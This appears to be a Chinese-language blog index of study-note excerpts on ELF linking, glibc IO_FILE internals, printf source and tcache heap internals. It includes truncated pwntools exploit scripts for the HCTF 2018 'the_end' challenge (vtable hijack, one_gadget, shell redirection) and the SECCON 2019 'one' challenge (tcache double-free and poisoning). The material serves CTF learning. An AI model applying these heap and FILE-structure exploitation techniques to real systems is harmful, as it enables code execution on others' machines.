关于动态链接
十分复杂,入坑需谨慎。。。。。
demo
本次学习用的demo
简述一下和静态链接的区别:静态链接在链接过程中就已经完成了重定位工作,因此可执行文件巨大,动态链接就是为了解决这一问题,找到了一种模块化的实现方法,就是可执行文件并不把所有库内段合并过来,而是在runtime的时候完成symbols的relocate操作,并且不同的进程也可以共享动态链接库也就是.so。
gcc -fPIC -shared -o Lib.so lib.cgcc -o program2 program2.c ./Lib.sogcc -o program1 program1.c ./Lib.so/*program1*/#include "lib.h"int main() { foobar(1); return 0;}/*program2*/#include "lib.h"int main() { foobar(2); return 0; // 注意这里的 'o' 应该是 '0' ...
链接控制脚本
链接器作为一个程序可以精细的控制其的连接过程,学习过段的合并过程,在学习一下如何控制,以写一个比较小的玩具程序作为学习主线。
前置系统调用号
本次实验用的write
root@L:/usr/include/x86_64-linux-gnu/asm# cat unistd_64.h#ifndef _ASM_UNISTD_64_H#define _ASM_UNISTD_64_H#define __NR_read 0#define __NR_write 1#define __NR_open 2#define __NR_close 3
demo
因为程序结束后会ret到非法地址,我也不想去给他写exit了,知道怎么会是就行了
char* str = "Hello world!\n\t";void print() { __asm__( "movq $13,%rdx\n\t" "movq $1,%rdi\n\t" "movq (str),%rsi\n\t" ...
ELF之链接初探
示例程序/* a.c */int shared = 1;extern int shared;int main() { int a = 100; swap(&a, &shared);}/*b.c*/void swap(int *a, int *b) { *b ^= *a ^= *b ^= *a;}
链接过程
主要分为两步:
1.空间和地址分配
2.符号解析和重定位
空间和地址分配
主要涉及到相似节合并和虚拟地址空间的分配以及映射关系的建立,可以观察到VMA在链接之后被分配
root@L:/home/l/c++# objdump -h abab: file format elf64-x86-64Sections:Idx Name Size VMA LMA File off Algn 0 .note.gnu.property 00000020 00000000004001c8 00000000004001c8 0 ...
ELF初探
程序示例
参照多方资料做个总结,用下方程序
/*gcc -c 文件名.c,生成可重定位文件,生成的为可重定位文件,不要直接生成可执行文件*/int printf(const char* format, ...);int global_init_var = 84;int global_uninit_var;void func1(int i){ printf("%d\n", i);}int main(void){ static int static_var = 85; static int static_var2; int a = 1; int b; func1(static_var + static_var2 + a + b); return a;}
elf header
初次学习主要关注 Start of section headers即可,初次旨在弄清楚文件结构
/*其中指出了节表的开始地址,也指出了节表中元素数量*/root@L:/home/l/c++# readelf -h ...
IO_FILE函数分析
fopen
在前人的基础上做一下总结和探索
执行链__fopen_internal(iofopen.c)->_IO_no_init-> _IO_new_file_init_internal (&new_f->fp);_IO_new_file_fopen->_IO_file_open
执行细节
标志位:
在执行过程中将oflags |omode作为系统调用的模式参数,read_write参数则作为flags传递个iofile结构体
光标定位(通过判断flag进行):
/* For append mode, send the file offset to the end of the file. Don't update the offset cache though, since the file handle is not active. */ if ((read_write & (_IO_IS_APPENDING | _IO_NO_READS)) == (_IO_IS_APPENDING | _IO_N ...
关于_IO_FILE的一些攻击手法
HCTF 2018the_end版本glibc2.23
思路1.虚表劫持
2.虚表函数指针修改(改为one_gadget)
需要选对glibc,否则onegaget打不通…..下面py的libc是错的,但是调试的时候可以观察到会执行onegadget
3.exec /bin/sh 1>&0标准输出重定向
pyfrom pwn import *io = process("./the_end")context.log_level = 'debug'context.terminal=["tmux","splitw","-h"]io.recvuntil(b'0x')add = int(io.recvuntil(b",")[:-1],16)io.recv()oldvatable =add+3108576vtableadd0 =3116784+8+addvtable = oldvatable + 2272gadget1=add-550310ga ...
fmtstr一些源码学习
1. printfa.__printfint__printf (const char *format, ...){ va_list arg; int done; va_start (arg, format); done = __vfprintf_internal (stdout, format, arg, 0); va_end (arg); return done;}#undef _IO_printfldbl_strong_alias (__printf, printf);ldbl_strong_alias (__printf, _IO_printf);
b.__vfprintf_internal
关于IO_FILE的学习
一些重要结构体和宏的定义
一般放在头文件
_IO_FILEstruct _IO_FILE{ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; / ...
一些低版本的tcache练习
SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
主要利用了tcache的uaf和double-free漏洞,还有Tcache Poisoning和Tcache dup漏洞,可谓是一个大杂侩,虽然说题目逻辑简单,但是利用过程不是很容易,一次只能分配一个恶意块,所以需要有全局思维,要考虑如何利用漏洞并且需要在漏洞利用完还可以继续利用,因此比较复杂。对数字及其敏感,非常混乱,建议边调试边尝试。
哎还得是tcache,fastbin搞两下就崩了哈哈哈,可惜高版本tcache利用也成过去式了
from pwn import *io = process("./one")context.log_level = 'debug'context.terminal = ["tmux","splitw","-h"]elf = ELF("./libc-2.27.so")def create(content): io.sendlin ...
关于tcache的一些基础概述
tcache相关结构体tcache_perthread_structtypedef struct tcache_perthread_struct{ uint16_t counts[TCACHE_MAX_BINS];//数量统计 tcache_entry *entries[TCACHE_MAX_BINS];//指针数组} tcache_perthread_struct;
此结构体为每个线程一个的tcache的管理器,管理级别上类似于arena。详情看源码,此结构体会在调用malloc的时候初始化。初始值全0。
tcache_entrytypedef struct tcache_entry{ struct tcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key;} tcache_entry;
此结构体为tcache的chunk,和一般的chunk比不会记录size字段,也许是不安全的隐患。但是会记录key字段,类似于canary ...